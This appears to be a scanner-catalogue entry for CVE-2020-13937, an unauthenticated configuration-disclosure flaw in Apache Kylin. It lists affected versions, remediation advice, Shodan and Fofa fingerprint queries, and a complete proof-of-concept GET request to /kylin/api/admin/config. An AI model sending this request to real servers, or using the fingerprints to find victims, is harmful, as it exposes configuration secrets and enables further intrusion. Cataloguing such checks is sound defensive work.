| Title | Apache Kylin - Exposed Configuration File |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | An attacker can gain sensitive information from the exposed configuration file, potentially leading to further attacks. |
| Remediation | Secure the configuration file by restricting access permissions and implementing proper access controls. |
| CVSS Score | 5.3 |
| EPSS Score | 0.93845 |
| CVE ID | CVE-2020-13937 |
| CWE ID | CWE-922 |
| Shodan Query | http.favicon.hash:-186961397 |
| Fofa Query | icon_hash=-186961397 |
| Tags | cve cve2020 apache vuln |
Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin’s configuration information without authentication.
GET /kylin/api/admin/config HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15
Connection: close
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13937.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13937.pcap
N/AN/A